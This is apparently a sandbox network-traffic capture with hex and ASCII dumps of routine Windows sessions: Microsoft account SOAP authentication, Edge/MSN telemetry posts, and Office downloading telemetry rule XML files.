2024-12-02 00:34:43 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-12-02 00:34:43 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-12-02 00:34:43 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-12-02 00:34:43 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-12-02 00:34:43 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-12-02 00:34:44 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	49858	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-12-02 00:34:43 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 00:34:44 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 00:33:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C523_SN1 x-ms-request-id: 84ef5719-309a-412f-8111-eb1b6a09b269 PPServer: PPV: 30 H: SN1PEPF0002F158 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:44 GMT Connection: close Content-Length: 11390
2024-12-02 00:34:44 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	49860	52.182.143.215	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:43 UTC	1017	OUT	POST /OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-2.2.2&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1733099672000&w=0&anoncknm=app_anon HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4704 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=292212E33AE26F3D094907AA3BCB6E21; _EDGE_S=F=1&SID=044790E9F6786B8F383685A0F7356A09; _EDGE_V=1
2024-12-02 00:34:43 UTC	4704	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 30 32 54 30 30 3a 33 34 3a 33 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 64 61 74 61 22 3a 7b 22 62 61 73 65 44 61 74 61 22 3a 7b 7d 2c 22 62 61 73 65 54 79 70 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 42 61 73 65 22 2c 22 70 61 67 65 22 3a 7b 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 63 61 74 65 67 6f 72 79 22 3a 22 73 74 61 6e 64 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-12-02T00:34:32Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","data":{"baseData":{},"baseType":"MS.News.Web.Base","page":{"name":"default","product":"anaheim","type":"dhp","content":{"category":"stand
2024-12-02 00:34:43 UTC	917	IN	HTTP/1.1 200 OK Content-Length: 153 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f668ddd04562485597e520440e750951&HASH=f668&LV=202412&V=4&LU=1733099683655; Domain=.microsoft.com; Expires=Tue, 02 Dec 2025 00:34:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=89487fdc964c4c64a6721c00c0d408b4; Domain=.microsoft.com; Expires=Mon, 02 Dec 2024 01:04:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 11655 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 02 Dec 2024 00:34:43 GMT Connection: close
2024-12-02 00:34:43 UTC	153	IN	Data Raw: 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 66 36 36 38 64 64 64 30 34 35 36 32 34 38 35 35 39 37 65 35 32 30 34 34 30 65 37 35 30 39 35 31 26 48 41 53 48 3d 66 36 36 38 26 4c 56 3d 32 30 32 34 31 32 26 56 3d 34 26 4c 55 3d 31 37 33 33 30 39 39 36 38 33 36 35 35 22 2c 22 6d 63 31 22 3a 22 66 36 36 38 64 64 64 30 34 35 36 32 34 38 35 35 39 37 65 35 32 30 34 34 30 65 37 35 30 39 35 31 22 7d 7d Data Ascii: {"acc":1,"webResult":{"msfpc":"GUID=f668ddd04562485597e520440e750951&HASH=f668&LV=202412&V=4&LU=1733099683655","mc1":"f668ddd04562485597e520440e750951"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	49861	52.182.143.215	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:43 UTC	1017	OUT	POST /OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-2.2.2&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1733099672000&w=0&anoncknm=app_anon HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4819 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=292212E33AE26F3D094907AA3BCB6E21; _EDGE_S=F=1&SID=044790E9F6786B8F383685A0F7356A09; _EDGE_V=1
2024-12-02 00:34:43 UTC	4819	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 30 32 54 30 30 3a 33 34 3a 33 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 64 61 74 61 22 3a 7b 22 62 61 73 65 44 61 74 61 22 3a 7b 7d 2c 22 62 61 73 65 54 79 70 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 42 61 73 65 22 2c 22 70 61 67 65 22 3a 7b 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 63 61 74 65 67 6f 72 79 22 3a 22 73 74 61 6e 64 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-12-02T00:34:32Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","data":{"baseData":{},"baseType":"MS.News.Web.Base","page":{"name":"default","product":"anaheim","type":"dhp","content":{"category":"stand
2024-12-02 00:34:44 UTC	917	IN	HTTP/1.1 200 OK Content-Length: 153 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=72c918b173fd4df5a2704feb14cc6cbd&HASH=72c9&LV=202412&V=4&LU=1733099683750; Domain=.microsoft.com; Expires=Tue, 02 Dec 2025 00:34:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=9d6b3f3556824df0b5b87df5d3a95241; Domain=.microsoft.com; Expires=Mon, 02 Dec 2024 01:04:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 11750 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 02 Dec 2024 00:34:43 GMT Connection: close
2024-12-02 00:34:44 UTC	153	IN	Data Raw: 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 37 32 63 39 31 38 62 31 37 33 66 64 34 64 66 35 61 32 37 30 34 66 65 62 31 34 63 63 36 63 62 64 26 48 41 53 48 3d 37 32 63 39 26 4c 56 3d 32 30 32 34 31 32 26 56 3d 34 26 4c 55 3d 31 37 33 33 30 39 39 36 38 33 37 35 30 22 2c 22 6d 63 31 22 3a 22 37 32 63 39 31 38 62 31 37 33 66 64 34 64 66 35 61 32 37 30 34 66 65 62 31 34 63 63 36 63 62 64 22 7d 7d Data Ascii: {"acc":1,"webResult":{"msfpc":"GUID=72c918b173fd4df5a2704feb14cc6cbd&HASH=72c9&LV=202412&V=4&LU=1733099683750","mc1":"72c918b173fd4df5a2704feb14cc6cbd"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:44 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:45 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 4e3832d9-101e-005a-31c5-43882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003444Z-174f78459685m244hC1EWRgp2c00000013eg00000000fxng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:45 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:44 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:45 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:44 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: b69fee9c-d01e-0028-6253-437896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003444Z-174f7845968xlwnmhC1EWR0sv800000013g000000000bvt9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:45 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:44 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:45 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:44 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4d2a6959-e01e-0085-41b2-42c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003444Z-174f7845968cdxdrhC1EWRg0en00000013gg00000000pd3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:45 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" 